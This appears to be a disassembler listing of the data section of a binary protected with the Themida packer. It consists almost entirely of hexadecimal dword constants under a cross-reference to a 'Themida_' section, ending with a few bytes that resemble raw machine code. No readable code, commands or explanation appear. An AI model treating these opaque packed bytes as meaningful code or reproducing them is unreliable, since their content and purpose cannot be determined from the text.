3A9976C8h, 7E543183h, 0C70EEB3Dh, 14C3A0F2h, 9A1E57A9h dd 0AAFCC116h, 63B504CDh, 1B6D5286h, 0D123983Eh, 51373DC5h dd 65580942h, 0C412036Ah, 0D13F4BF7h, 0A8DFE52Dh, 0DC57E503h dd 4280E14h, 553C5806h, 836C95B5h, 5C8B23FCh, 0A068B0D8h dd 6AAB49Ah, 71A0C858h, 49D84361h, 23EB33DBh, 933F7C56h dd 7DC80C3Bh, 4B5DF9C4h, 522E8223h, 0BCBB5B9Ah, 545AA24Eh dd 6150AB2Dh, 0E3EF9BC3h, 0E6421975h, 0B30C83E4h, 1A30169Ch dd 1C446171h, 41363C84h, 73676455h, 0A036034Bh, 0CF07EE5Ch dd 1016E15Eh, 6785A62Ah, 0E67E163Eh, 9C1FB794h, 2889BEBEh dd 37452F2Fh, 17DBh, 348639A3h, 0EF417C57h, 0A9FBC012h dd 5EB009CCh, 15675681h, 3D4DCDCh, 468B68BAh, 94442173h dd 0DAFCD92Bh, 0FB838FE1h, 9430FF5h, 0C1282358h, 2F8C4A17h dd 0F1FC2B83h, 1E2AD6E5h, 0EBB800B0h, 0CC24D0EBh, 1291979Dh dd 4857E532h, 58B0CE20h, 49913DABh, 0F92AF843h, 0FD9EC65Dh dd 0E14406A9h, 904512D1h, 82F0FA29h, 2342282Eh, 2E56F1E3h dd 0AF864E96h, 488E97DDh, 49411C73h, 0C7EE3261h, 5DF7D640h dd 0B220ED35h, 6470DA09h, 0CA3E95F6h, 0AD05B10Eh, 2F357D15h dd 0FDEA5C3Ah, 34FC446Ch, 204F6A67h, 0A3BC115h, 0EF4FA15h dd 22FE0BDAh, 0BCA5A3FAh, 7C59AB43h, 383615Ah, 0FE98A2C4h dd 17150614h, 73690000h, 0B61DFA4Ch, 0FAD8B507h, 43926FC1h dd 90472476h, 16A2DB2Dh, 2E803D9Ah, 0E7398051h, 9FF1CE0Ah dd 55A714C2h, 0D5BBC149h, 0E9580943h, 0C41287EEh, 0D13F4BF7h dd 72DFE52Dh, 8457E65Bh, 173D145Ch, 0C8DEA48h, 2BF8FE2Dh dd 0A8BE10ABh, 5809C532h, 0BB1673E0h, 62FA52FEh, 37864D1Ah dd 0BB1BF808h, 0E8EBB800h, 0A2D129D5h, 9848B692h, 37DD4A50h dd 0C7EF5DFEh, 9C21B27Fh, 6B4E8754h, 844F2C3Ch, 0AE858D39h dd 0E26527FCh, 0A1317EBDh, 0E7166E1Ah, 0E3C1FADCh, 388CB4ADh dd 74707E68h, 0A000016h, 0BE9BEDD2h, 7956A815h, 33106259h dd 0E8C517A2h, 437CCEEFh, 219C3B75h, 0DADFF2CFh, 922DAB88h dd 48736340h, 5C62EAF6h, 58094476h, 13288F8Ah, 0A8CE3AA5h dd 7B235DABh, 28959BE3h dd 3A57E65Dh, 0D9FDCA12h, 47B490E2h, 57494F97h, 8358093Eh dd 8669AF5Bh, 0D58093Eh, 3A47F3CAh, 0A0F1619Dh, 0C61A5ED0h dd 486C822Eh, 0BEE0A70Ah, 0F45E079Ch, 4EA0F8D5h, 0B7000000h dd 4248A613h, 51F1E85Ch, 68B04870h, 88BC9A0h, 576870h dd 0F625229Dh, 0F2A4B8B2h, 10BCE451h, 6D9D3B08h, 90BF5766h dd 0F2A56A4Ch, 37537551h, 0ED30C99Ch, 1335FEh, 0D94C0000h dd 51F1E7F6h, 1860107Eh, 0E5081712h, 0CB1D4557h, 3AA51312h dd 0FFF18E70h, 0C911A93Eh, 4D333901h, 6151F2A8h, 0A7CDB339h dd 0B9E151F2h, 2F7E848Ah, 557E5F1h, 5C2931DDh, 75449177h dd 33A3AEDDh, 14A475C9h, 10A8DB38h, 11F5E1BEh, 0F149F5C4h dd 37A0AD59h, 6CDDA86h, 4FE7D402h, 803D96A3h, 9EBCA0D4h dd 764D651Bh, 2A518290h, 3587B678h, 0C4F7DF15h, 7A419572h dd 0AC54C2CEh, 28A35E64h, 6A515DF9h, 0DA107333h, 0E032CA05h dd 3CE8D303h, 0EF72F1F6h, 0A415BC35h, 0D0EBEBF8h, 84AAE24h dd 0F38FF3A9h, 0CC1E9D39h, 40262CF4h, 54D65173h, 0E4F2FD2Ch dd 56232BD7h, 5103F7Ch, 0E83DE9D0h, 0AA11C592h, 0DBE2F1FEh dd 80C21443h, 0FF516A6Ch, 5B07B422h, 0F53DE14Fh, 600CAD28h dd 0CDD3D908h, 0DC448BEAh, 52BD1BF8h, 658C664Ch, 0BA527ADCh dd 0CC1EB60Eh, 28D4E7EFh, 5703B61Bh, 27DD7DE1h, 0E2BA0CAFh dd 0CFFEBD15h, 0FDA912C4h, 93DB83F1h, 261F45BCh, 406F6B53h dd 1045343Ah, 335BE258h, 0E9D204E1h, 0B75E353Dh, 37958CCFh dd 1E7ED35h, 15E279D1h, 987ABEEDh, 0F6D279D0h, 1ABC7012h dd 66724FA1h, 37A0AD59h, 4CDDA86h, 0D7FC09B5h, 243AE6h dd 22B5A042h, 14F28C8Eh, 2466CA7Ch, 328B4815h, 0DFE0F803h dd 0E728B08Dh, 79B9FBE1h, 4FE70FF2h, 0CA3F96A3h, 38E4DBFDh dd 0BA745AE0h, 6088F279h, 42A61CC8h, 381AF100h, 60E2F968h dd 54848FBEh, 7441196Bh, 242F5E5Fh, 535F0BB4h, 0EBF139E5h dd 0F86C6F9Ch, 0AE949A72h, 0C2F88D4Fh, 4956029Ah, 0E7CB7288h dd 8A0E6A18h, 983946F2h, 3B5F7521h, 0CBF2E51Fh, 9A2FC71Fh dd 36A25AF8h, 7C5A3789h, 5086933Fh, 0E94DBF6Bh, 0C84393A9h dd 8DC8DCC2h, 30C8F0F8h, 10C5A0DEh, 2B395852h, 50000000h dd 4DF9C612h, 0E32BD341h, 0A9DB441Bh, 39CECEACh, 438B239Ah dd 0F206573Dh, 14436B51h, 0E552ADD0h, 0C1133B57h, 1BE3h dd 0C6123A00h, 3BDAB1F9h, 2978F82Bh, 939F0938h, 2B317925h dd 57E5FE40h, 1BD4264Eh, 2F8C4A17h, 0B0FC2B83h, 913DAB58h dd 1F84349h, 9EC657E5h, 39C3A9FDh, 8D55AA56h, 0B919A187h dd 5E8DB54Ch, 127BE654h, 9810D3E7h, 0E8B0F890h, 5400BB1Bh dd 0C66F3B3Dh, 0B74FE8F3h, 611D4488h, 0DBB352ACh, 0CD41EFD5h dd 43DB0352h, 711D8B97h, 7D2E2329h, 386058C0h, 8B323F0h dd 0BEFDD9B6h, 0CCB3BAE0h, 77856F3Dh, 131Bh, 0F4467963h dd 0AF01BC17h, 69BB00D2h, 1E70498Ch, 0D5279641h, 43941C9Ch dd 864B287Ah, 0D404E133h, 1ABC99EBh, 0BB434FA1h, 947CFB5h dd 81E8E358h, 0F1E8F3D9h, 6B138151h, 3F7C5623h, 69040A10h dd 0D757E51Bh, 3E9A67AFh, 6B20BCCh, 0E7C416AEh, 0BE86CEF1h dd 5FAD2B8h, 0C809E658h, 0C02A59F1h, 0BA9823B3h, 3EA834EAh dd 0AC5B6953h, 0D2000012h, 8663B50Ah, 411E704Dh, 0FBD82A91h dd 0B08DDFDAh, 0B449627h, 0E9D403ADh, 0A217BA97h, 5A657350h dd 10AB2B08h, 242AB2BEh, 5809483Eh, 13F05752h, 0ABB1F9A5h dd 57E51A10h, 410E567Eh, 0FCD92B92h, 0D19EE6D7h, 0B20AB605h dd 0CA0C1983h, 0CACF6A41h, 741154ACh, 6D808EEh, 5CF41C58h dd 99B95BB0h, 7F3A9B68h, 2F8E4550h, 0CF4EBFDDh, 19BFF867h dd 271F8F38h, 0D370478Fh, 3E83148Dh, 7A95F423h, 72B86459h dd 5806DC8Fh, 6078451Dh, 0BCDE305Fh, 20724B88h, 812D9043h dd 0F570775h, 0FC7C7B38h, 79D68015h, 5BA2F9E5h, 9623B299h dd 0CBFA92EAh, 0A372BFC5h, 1C445DFAh, 0F0CB07D4h, 5D8C2FA3h dd 6F4C8A57h, 5A78451Dh, 2E5DB561h, 5C08B323h, 0F63EE250h dd 11F826F0h, 82CAF264h, 489A21B5h, 2B069970h, 7DD4EBEDh dd 2A72C62Eh, 34893E24h, 0FB2A5264h, 0B720E6F0h, 59266E06h dd 0A50F3E7Dh, 3B832B99h, 27B1D635h, 0E4EFCC6Ah, 4B6341D9h dd 62C659Dh, 11910E1Ch, 0EFED0000h, 32A17ED0h, 765C398Bh dd 0BF16F345h, 0CCBA8FAh, 92265FB1h, 0B204B91Eh, 6BBDFCD5h dd 23754A8Eh, 0D92B9046h, 593F45CDh, 6D580949h, 4A170B72h dd 0C0043388h, 51F1E7C1h, 1C1A9E75h, 1CA084E7h, 0C9F6E2EDh dd 1D29F77h, 89B810BCh, 256D117Fh, 0E69C5D1Fh, 0B9012957h dd 689E1AF1h, 1DB69F5Bh, 88B708D0h, 1466557Dh, 0E5B4B15Bh dd 0DDAAFF6Dh, 0C018C4FBh, 1432B91h, 13420000h, 17D5FEA8h dd 0F1E82E11h, 0FD2C5151h, 5B765E6Bh, 1749720Ah, 768BCB6Eh dd 0E7C2A8AEh, 0AED651F1h, 1A497061h, 0FCAA1333h, 13ED94D3h dd 17D2FBABh, 332874Ah, 4A17ADA4h, 2F873388h, 0E5E19400h dd 433D01EDh, 35000000h, 67379A5Eh, 1C4B65B5h, 0FCAA1335h dd 2E1117D3h, 0BA51F1E8h, 2BD7E6EDh, 0F820A4D3h, 0FCE2E8B0h dd 1051F1E7h, 17D2B9E8h, 6653824Fh, 0C0125037h, 61758F46h dd 0BE56AE5Ah, 6910FD26h, 2611h, 0AA136800h, 4017D3FCh dd 0D07A37E9h, 0EB40110Eh, 646C44A1h, 91979DCCh, 51F2AAAEh dd 17426BD1h, 0FBC0126Eh, 176910D2h, 942DF340h, 0E3D9CADh dd 0ED81D3A2h, 284B01h, 13620000h, 17D2FBABh, 0F1E82E11h dd 795F3C51h, 1785AE46h, 2020784Fh, 0BF0B61C1h, 0C112A990h dd 6910D3FCh, 5211h, 40176800h, 8610DD77h, 0E5EF1EA8h dd 51BA187Dh, 0F21F654Bh, 0B9517951h, 4A17F821h, 2F873388h dd 1DC9F6E2h, 8A9096C5h, 51F1E7A7h, 0EAE7B4CAh, 45CB23CFh dd 51F1E85Fh, 0DD3ECECh, 17244DE5h, 534894Ah, 0C11256FFh dd 4A10D3FCh, 0BA66557Dh, 114C3362h, 0FFFFFEADh, 0F9A51368h dd 0A412E9B1h, 79448FAEh, 9C100C22h, 4ABC296Dh, 0F6CE57E7h dd 0A2C0AF0h, 5EF61E58h, 2E8D4916h, 0EB9300DCh, 2BB79DA3h dd 7249580Ah, 0B8D99E08h, 85093810h, 39C2E89Eh, 6672DA89h dd 7D29C159h, 0A213F37h, 0CAF3E058h, 0F6C5111Eh, 0D270D44Ah dd 0A4E608CFh, 0B009C895h, 0B4501581h, 410EF8D5h, 21792594h dd 0DB902D4h, 532086B5h, 18000000h, 2F8A4Bh, 0E7F7D919h dd 5A7C51F1h, 6A370F61h, 84399A6Ch, 3CE880D8h, 8E71B5E4h dd 1651F1E7h, 2A9543A8h, 567D4A92h, 735A92A8h, 0AE464F66h dd 1B4A7161h, 0B80C0F15h, 7D5A57E5h, 0A3BA6655h, 0E8DEB20Fh dd 93E07821h, 92E47C3Fh, 0D0B4h, 0A5130B00h, 0F8ABB1F9h dd 0A657E502h, 6F69367Eh, 0B721FE50h, 0E2505C08h, 2A2888Eh dd 0D9B65806h, 8E26BEFDh, 27056F46h, 1E399EDCh, 87B605D1h dd 72367B81h, 0E0085DFAh, 0E4CAD098h, 0F85E1D52h, 0CE9BA1D0h dd 0A038050Ah, 951B731Fh, 5E1D52AFh, 4D539BC3h, 5E1D5367h dd 73BB537Bh, 8351A29Ch, 0E9187B88h, 0E3DCFCD9h, 61672F37h dd 5E1D6F7Bh, 0B2EBA88Fh, 1123B14Ch, 0D2404A79h, 3E0E62Eh dd 0F564115Ah, 1EB885CDh, 686E4B9Dh, 39B79DA3h, 0A3CB6434h dd 0F68B2D0Bh, 0F0DA3279h, 0E6EE2h, 0F3CC1000h, 0AE0FC4A1h dd 68537F5Ch, 1D9C3916h, 0D4E9EECBh, 416F4982h, 0F8D52796h dd 0B18EE0D9h, 69469827h, 0F0FC4E6Dh, 4C7C6268h, 95905809h dd 8B4A172Eh, 0E2F4FF2Eh dd 0B6202DD9h, 0CFE75905h, 0E81B0107h, 72F51F1h, 30C486D8h dd 85C315A6h, 0FEEDEDE0h, 9920B17Eh, 29046Ah, 131B0000h dd 0ABB1F9A5h, 57E51884h, 3946F21Ah, 0EFCC1E9Dh, 0BF8CD4E7h dd 0A5FDA914h, 92000C76h, 0EDA0A6EEh, 9B5DF913h, 17682173h dd 332874Ah, 9AE2DBF8h, 0E7E6CCD2h, 0D2FA51F1h, 406F4E85h dd 3D805330h, 0E84E4B91h, 0DFF951F1h, 0E8442A30h, 5D151F1h dd 30C8F0B6h, 0DC2F06DEh, 7E1B8583h, 0E7C86B5h, 35141A62h dd 0A957E675h, 18724BD2h, 4465F28Ch, 8A85DC65h, 73F72677h dd 0D5C3348Ch, 18B03D30h, 0ECCF03D0h, 0B4B1E19Ah, 4AFF6DE5h dd 13Eh, 49A81361h, 6E972F8Eh, 0E82E1117h, 0E3BA51F1h dd 0EE001421h, 1887B64Ch, 6E1789B2h, 13958BCBh, 17D3FCAAh dd 0E863494Fh, 4F7751F1h, 13F09720h, 5F454BABh, 7351F1E8h dd 0BE8AB34Bh, 0E5C4B1C7h, 2A5A01EDh, 71000000h, 0D3FCAA13h dd 0E82E1117h, 143C51F1h, 126E17EBh, 0E6B3FBC0h, 96D80FEBh dd 3D9B6309h, 72A1F9A5h, 1169108Bh, 4Ch, 494F1768h, 51F1E863h dd 16204F77h dword_57F248 dd 0E8B5FDADh, 0D24D0E9h, 54B9A168h, 0D3CD47Ah, 894A1726h ; DATA XREF: Themida_:0054AF08o dd 1308834h, 0E812F5FBh, 0C79E51F1h, 65F7BD1Eh, 6C518633h dd 0A1D068C0h, 17A3CC32h, 0FBC0126Eh, 0D81FDCB3h, 5163B1E0h dd 69103B22h, 2BD14017h, 0F9A516BCh, 0C9C04AA1h, 0B0C53160h dd 6E01EDCFh, 3Bh, 7D948F66h, 0CB63E04Dh, 0AF07B306h, 0B308CA17h dd 0AB139D84h, 1117D2FBh, 51F1E82Eh, 17EB143Ch, 874A176Eh dd 0FF2E8632h, 96DEDFF4h, 3AF0EC9h, 10957CABh, 2A1169h dd 13680000h, 5F454BABh, 7351F1E8h, 178AB34Bh, 0F1E82E11h dd 0E6EDBA51h, 0D339A8D7h, 8D4A17AAh, 0FD2C8430h, 0C1124EF7h dd 6910D3FCh, 0FFFEB911h, 0A51368FFh, 3EABB1F9h, 5057E65Bh dd 0C313E028h, 8BD9B0F8h, 896F75F0h, 9D580977h, 48C1E75h dd 0F9D5E514h, 4A30368Ch, 5E5809C3h, 0CD655481h, 1E7ED35h dd 155809C3h, 3FB41EDh, 0A45809C3h, 0F2D8DE2Fh, 65809C2h dd 8D9A46DEh, 0A613BE4Ah, 8355620Eh, 0E238903Ch, 561D9CBEh dd 9722B380h, 5F741668h, 0F8D61306h, 0A48A9058h, 0B85809CAh dd 35FE74D1h, 2EC65D6Ah, 1599FFh, 0D9B00000h, 51F1E7F7h dd 9D1EB481h, 4873636Eh, 0AC18F6h, 136F0000h, 0ABB1F9A5h dd 57E50974h, 0EDBA022Ah, 0A582D4EBh, 0CFFD733h, 60A2006h dd 740C3458h, 0B62430DCh, 63BCC20Ah, 0CB5DFA7Dh, 5FD88EF4h dd 4978EDE8h, 88559DC5h, 401D6F50h, 12DF2798h, 0F74FFBC0h dd 0E4525EC8h, 0AF27F43Ch, 0D1D7DD0Ch, 641195F4h, 803B9764h dd 0C94D7CD4h, 2AD6E7ECh, 25F23AD2h, 0DBB80AB1h, 3DCD0BFBh dd 227A2695h, 0AE14F28Ah, 0CB3279BAh, 0B35D3E1h, 93490000h dd 0D6FDDA2Ch, 1AB895E7h, 63724FA1h, 0B0270456h, 3682BB0Dh dd 0E605D7Ah, 0C719A031h, 7FD1EEEAh, 358734A2h, 0B59BA129h dd 0C958094Fh, 0C41267CEh, 983E4BF7h, 0D13DB23h, 51F1E827h dd 7AE4133Bh, 4EE6A408h, 0BDCB7488h, 99BE91Ch, 755C2971h dd 0CA76498Fh, 0D62EDA72h, 0C5997A7h, 0F2FEEDA4h, 2Ch dd 0F9A51309h, 0BA1CE9B1h, 9830894Ch, 216594ECh, 57E5110Eh dd 9BA8547Ch, 512E803Bh, 7E8A3685h, 12186010h, 5DF912DBh dd 5E176991h, 7B784F17h, 2E677CB0h, 0F4DBC147h, 0C7EF51F1h dd 77468D98h, 68764D25h, 7D4093E0h, 0F92279D1h, 0DABA4A52h dd 0CC915457h, 0C2C10534h, 7651F238h, 0E38F2EA9h, 87515C8Bh dd 0D019F038h, 7EF11D1h, 0DEBACAF9h, 0F0CB0B70h, 0C54EC44h dd 0E7341C06h, 0B8002857h, 56DA19F0h, 6A5B4A17h, 19A2303Bh dd 0B4B10EC7h, 4AFF6DE5h, 16Fh, 4EA81361h, 0F1E86248h dd 0B64E7651h, 1440178Dh, 9E0AEDB8h, 5B616796h, 51F23578h dd 170C359Bh, 6BC1784Fh, 0BD14A52Ch, 6236Ah, 51F2E61Ah dd 3F6E062Eh, 958BCB58h, 0D3FCAA13h, 4A17ED94h, 92787E8Bh dd 0A651F1E7h, 3F99E67Eh, 0DF475180h, 571FE72Fh, 0F1E86B51h dd 0D1577F51h, 51F1E7EBh, 0C1A8D7FFh, 0C4B1C7BEh, 0BA01EDE5h dd 0E806ECF2h, 0F21A54F1h, 575DC3h, 7E550000h, 0B650D3B3h dd 31CF6F84h, 0E79BCB16h, 1339204Fh, 0DDB4FCAAh, 5B5CEA85h dd 0C5ACDB62h, 0E82E1117h, 143C51F1h, 6C7FF5CCh, 1B60CE72h dd 4B1609D7h, 0A0CF675Fh, 176E17B9h, 0FAA7640h, 0C3BC1A5h dd 0A2EAD101h, 850DE4CBh, 1847F369h, 11691031h, 28h, 0FCAA1368h dd 2E1117D3h, 5151F1E8h, 6E17C2EBh, 0B3FBC012h, 0E7FFE5EBh dd 3B1351F1h, 0F1E84F35h, 0A33B6351h, 69108D74h, 0EDE5C4B1h dd 3D5A01h, 13710000h, 17D2FBABh, 0F1E82E11h, 0EAEDBA51h dd 6F4C86D3h, 0B83C6BC3h, 0B8804890h, 0F1E7CCB2h, 32B8E051h dd 51F1E84Ch, 22093860h, 2F8C4A17h, 1251FA00h, 10D3FCC1h dd 221169h, 17680000h, 8834894Ah, 8FF70130h, 4A17B6DFh dd 0FB01308Dh, 0F1E812F5h, 0A6CF3551h, 0C1126E17h, 6910D3FCh dd 39FF4017h, 5D1B4588h, 0FE88222Eh, 1779FFFFh, 0E863494Fh dd 4F7751F1h, 48A81620h, 0E7947A80h, 80A851F1h, 0F1E814FAh dd 68002851h, 5BAD1A20h, 0E2BF57E6h, 0E931C9F6h, 0AF01BA1Ch dd 70B866D3h, 0C1FCDBA8h, 21070D15h, 3558093Dh, 246750Dh dd 58093D1Ch, 165C0830h, 58093D1Eh, 31A26F45h, 4F0B5D8Ch dd 0D6991154h, 10EDF8h, 0D9040000h, 51F1E7F7h, 0F615A7Ch dd 0C231h, 0A5138800h, 44ABB1F9h, 5A57E5EEh, 0EE967C82h dd 82AA5805h, 3D5A2EAh, 31A774BCh, 0D4DAE28Eh, 5805EEEEh dd 1342DA02h, 5DB22603h, 5EF7157h, 0C55D8558h, 0EF9F0D19h dd 6244A1A7h, 0E365DFAh, 0E0DFF9C6h, 9827B18Eh, 1E72E0ECh dd 436A5056h, 567E5E1Dh, 1D42EAD0h, 0B421FE5Eh, 8DD56D05h dd 11B4AA87h, 2C749C64h, 8E94775Fh, 643494A8h, 0A73D94BCh dd 0BE443A92h, 22FA4CE4h, 0B55DD44Bh, 4D7C7F24h, 49279442h dd 32798483h, 0C812200Ah, 0B6000007h, 6A479926h, 25025469h dd 0DFBC0EADh, 9471C3F6h, 0EF287A43h, 0CDF0E7C9h, 86339E7Bh dd 3E815734h, 0F4C70FECh, 80E96A2h, 58095322h, 12D43B36h dd 5B4147C4h, 6F51F1E8h, 0F603AF47h, 56B026E0h, 3C94407Dh dd 8A0F8A4h, 2B9AE9C0h, 693B4B77h, 13C3D03Ah, 0E3EFFCA8h dd 5D09B423h, 4BC16D05h, 9446ABE7h, 12DF1230h, 0C0CBFABFh dd 9EFF516h, 1D51F1EEh, 0EE593F45h, 456D51F1h, 0F6CD15ADh dd 0A0A95448h, 1114029h, 427B5C29h, 38BEA713h, 3140FEEDh dd 57000000h, 0B1F9A513h, 0E51CECABh, 0CE7AA257h, 5FCA688h dd 11AC2B58h, 427B5865h, 0E39F4196h, 946137FEh, 0FA4C7B44h dd 0DD224358h, 95DCF8D9h, 0F3000000h, 4349A513h, 51F1E85Dh dd 78419471h, 44DC74CCh, 0B79E25FCh, 9D715273h, 0BBEA8239h dd 0B720EDB5h, 3093D706h, 3E57E5E9h, 0CA7A6066h, 668E5806h dd 5703BA19h, 0AEBB67FFh, 0C7F4DE28h, 0E32BC31Bh, 674D531Bh dd 7B5806CAh, 0C9E7CD53h, 0D3FB5806h, 1FB794A4h, 76E4F09Ch dd 0CA2E141Ah, 1A425806h, 0A5723A82h, 0EFD5DB32h, 35806C9h dd 0D01443DBh, 5DFAD069h, 0BBA1A77Fh, 0CF5E1AD0h, 0FFC70FA7h dd 4015E728h, 991FDD87h, 5E1A81B3h, 84529FC7h, 3FF80837h dd 2F8C4A17h, 0AB58B400h, 4349913Dh, 57E501F8h, 0E7FD9EC6h dd 5DBF8410h, 295818C8h, 1C3A4CE5h, 1EC23096h, 4AA9D0D6h dd 173F1E70h, 1B0107CFh, 2F1E912Bh, 626ED807h, 0FE044CF4h dd 24846609h, 0FECB133Bh, 0F12D24D8h, 0CA27F6FEh, 0D303E032h dd 84CC0AE8h, 0EBD57208h, 60EDDh, 536C7000h, 0EAF2401h dd 0C8F3DFBCh, 7D3C9976h, 34894E2Bh, 0A10FA9E2h, 58358736h dd 11EE4079h, 0C9A6F8C7h, 505CAE0Dh, 54DCC2C8h, 0F5F05809h dd 0F7C4128Eh, 27943E4Bh, 0E38BF9D5h, 5B38959Bh, 0D1A857E6h dd 0D8903AD1h, 1599C829h, 713941EDh, 99F856Bh, 42719958h dd 42209B37h, 3EA4909Eh, 0A81F2D17h, 0D6000005h, 8A67B906h dd 45227449h, 0FFDC2E8Dh, 0B491E3D6h, 0F489A23h, 0EDD007A9h dd 0A613BE9Bh, 5E617754h, 14A72F0Ch, 282EB6C2h, 58095542h dd 17F45B56h, 0E863494Fh, 4F7751F1h, 0E81B0107h, 72F51F1h dd 0B060CED8h, 5C096268h, 0A97157E6h, 93CBDA3h, 7AA9D158h dd 32181EF6h, 4658093Dh, 0CDDA861Eh, 12D8B605h, 0B73EA4F3h dd 539BFCDh, 97450000h, 0DAF9D628h, 1EB491E3h, 676E4B9Dh dd 0B4230052h, 3A7EB709h, 0A5C6176h, 0C315A42Dh, 7BCDF2E6h dd 3183389Eh, 0B1979D25h, 0C5580955h, 0A51363CAh, 66ABB1F9h dd 3857E65Bh, 8F5C6410h, 0A318BE46h, 0D8079FF7h, 0D8B605CDh dd 3EA4F41Ch, 0E4C9D7C1h, 9A000004h, 4E2B7D42h, 9E63885h dd 0C3A0F2C9h, 7855A712h, 0D30C5E5Fh, 0B10CCBE5h, 6A4F825Fh dd 229D3B18h, 0D8E3F3D0h, 0ECF27A86h, 58095606h, 12B81F1Ah dd 3E4BF7C4h, 1772398h, 8F47FD9Dh, 0E790767Ch, 7CA451F1h dd 0EDBA92E4h, 9DA8D7E6h, 0CED68239h, 0BA1031F7h, 9BF39F1Ch dd 40F8E044h, 5EEACD11h, 547851F2h, 0E3D8FE36h, 0E922B491h dd 0F25EFDE3h, 9CE91151h, 7FD7833Ch, 4D29FE7h, 54ECD102h dd 0B72150A8h, 3D8F2CAAh, 34BF361h, 0EB1D0A2Ch, 3665B2C7h dd 0A7972A30h, 0BB8357E5h, 686CFB5h, 0AEFCE358h, 0C2954F3Dh dd 0C044730Bh, 52835098h, 1BE1A67h, 64CEFD55h, 6853C1Eh dd 65254758h, 0D950F76Eh, 2007F8h, 131E0000h, 0ABB1F9A5h dd 57E502E8h, 9CE28EB6h, 580602BAh, 0ECE7A3C5h, 0F8D9D679h dd 0E285h, 40179C00h, 0D08CDDFBh, 0B6C1F052h, 86539B20h dd 69C16D52h, 0D201BA1Ch, 417C5B68h, 7A6A22F9h, 927912B7h dd 0EAECF963h, 6E06B71Ch, 9A21B5C2h, 640D3248h, 0BE1851F2h dd 6561474Dh, 987551F2h, 7CD48039h, 22FA4CE4h, 553FB44Bh dd 598832E8h, 0EB33884Eh, 0B9371D23h, 234B51F2h, 107E8AF4h dd 6F121860h, 0FD57E60Ah, 39A783D5h, 0FE7B25D6h, 66BD3BE5h dd 0F5851DACh, 0EB33CBA2h, 0FC3E62E5h, 4088B05Dh, 396FA178h dd 3A49FEBAh, 0E6D7000Bh, 9D20B794h, 8FB13FBFh, 0BAC8B238h dd 35Bh, 0B406B923h, 6FC1FCD7h, 297B4092h, 0DE30894Ch dd 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h, 5A7C59ABh dd 7B030F61h, 9578F75h, 41A8A358h, 0A6F8C512h, 66AE0DC9h dd 0E7B2989Eh, 9EC651F1h, 13A65F6Fh, 0E4B1F9A5h, 0C61ECAF3h dd 0E792787Eh, 7EA651F1h, 8043494Fh, 4E57E503h, 0C02BE167h dd 12AA341Ah, 0CE965E66h, 692E2C8h, 48CEF658h, 58069362h dd 0B2989E76h, 0C6580692h, 93D7069Eh, 580692B1h, 0E3F89ABCh dd 0F8D94682h, 957Ch, 0CE9D7400h, 555E132Ch, 1A00064Eh dd 2E58061Ah, 12F0D706h, 3E4BF7C4h, 32782499h, 51F1EC0Dh dd 0ABFDBE18h, 7B308CEh, 99E18DFBh, 0E53DF093h, 4567E57h dd 0CE16BA28h, 0FAF0A4C8h, 0D94D345Dh, 7E0788FFh, 0F2BF079Fh dd 0A986D8E5h, 0C2F7DA2Eh, 83BC4C2Ah, 5F493891h, 26E51h dd 0F3CC1000h, 0AE0FC4A1h, 68537F5Ch, 1D9C3916h, 0D4E9EECBh dd 416F4982h, 0F8D52796h, 0B18EE0D9h, 69469827h, 0F0FC4E6Dh dd 587C6268h, 95905809h, 0F8C5122Eh, 0AE0DC9A6h, 0C412A35Ch dd 983E4BF7h, 87F5D123h, 5F0BB022h, 8A368352h, 0BA029A32h dd 0E51CF5B4h, 755C2957h, 0DEE1F744h, 57032BAFh, 9B81874Fh dd 0AF5805FCh, 32145887h, 3D5805FDh, 1647F1Bh, 0FDF8D9D9h dd 2Eh, 0F9A51314h, 1BA8ABB1h, 0A77457E5h, 0DC608F2Ah dd 0E0C208B4h, 0EB5805FBh, 531289C9h, 0BF8D9DDh, 24154334h dd 215001B0h, 4ABBh, 4A17D200h, 7784308Dh, 99C8605Bh, 0F1E87255h dd 3036FE51h, 51F1E84Ah, 0E7F0D6DCh, 0DC0451F1h, 34A1EE16h dd 0DE4C5685h, 4B22EA32h, 1A2C4C4Dh, 696DBAC6h, 44DF2352h dd 3057E60Eh, 0A04C6F63h, 0B8951948h, 9EF6A21Bh, 17FBB406h dd 332874Ah, 9BE38BF9h, 0E51AD695h, 0B8648C57h, 5D33D9B0h dd 685D38EEh, 6A13F539h, 0FC1E5806h, 6C20455Eh, 2CDEF8D9h dd 0F5000000h, 0F1E7F7D9h, 1FB48151h, 0E802E8EEh, 0EE1651F1h dd 0A493AA56h, 0FEF285EBh, 0ECE936CEh, 26949ECDh, 912C327Ah dd 0FF57E6B7h, 13CC85D7h, 0ABB1F9A5h, 57E65B5Eh, 0F3C00830h dd 0A986D8E3h, 6F468E2Dh, 0D3D17B10h, 0B41E4DEFh, 0A2D73AA8h dd 9F8783B8h, 6A518966h, 58F0ED50h, 0A87278C0h, 745DFD8Eh dd 9F37044Ch, 9F4B6E67h, 805DAF47h, 501D6556h, 0E8ED3A83h dd 2C38A2D1h, 437A5DBEh, 577C76ECh, 0B44C93D4h, 5D07666Ch dd 0D5FD6413h, 79F31BF7h, 614FE32h, 0B7h, 58AA15C7h, 1365587Bh dd 0CD1F9C36h, 82D4E5F0h, 398B32A5h, 0DFF8B800h, 22AF8CDEh dd 70684597h, 0B620FD4Fh, 1FA7B305h, 95A3319h, 0E54C4758h dd 8D334017h, 784EE8D4h, 78D13F49h, 5AB25E5Fh, 0ACB27AC2h dd 51F1FDC6h, 7D83B2DAh, 0E671C177h, 0A14D7557h, 11C44294h dd 31E5FCA8h, 7594104Bh, 94DC740Ch, 82B10CC7h, 0CA419572h dd 99BDEC4h, 32CAF258h, 9E124086h, 52B63168h, 0E1DAFC30h dd 9724B28Fh, 0C2F7DEEBh, 9E6BC116h, 7ED68237h, 0AC5DFD4Fh dd 18C4F7DFh, 508691C0h, 9A3C196Bh, 0A06D7521h, 0EED4DA33h dd 2D1AA9Eh, 71342DAh, 3, 127DE45Eh, 3C49F5CAh, 6875219Ah dd 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h dd 7A873388h, 33B86459h, 612368h, 24048900h, 4EB468h, 242C8900h dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 95BD2414h dd 817E4A21h, 662DFFEDh, 88B8500Dh, 0C12F9658h, 0ED0502E0h dd 2D5A2E4Eh, 32B471BCh, 2D04E0C1h, 0E63F4F76h, 5458C531h dd 8324148Bh, 0EC8304C4h, 242C8904h, 0FF08428Fh, 835A2434h dd 34FF04C4h, 0C4835D24h, 0A1DE904h, 0EC8FFFFDh, 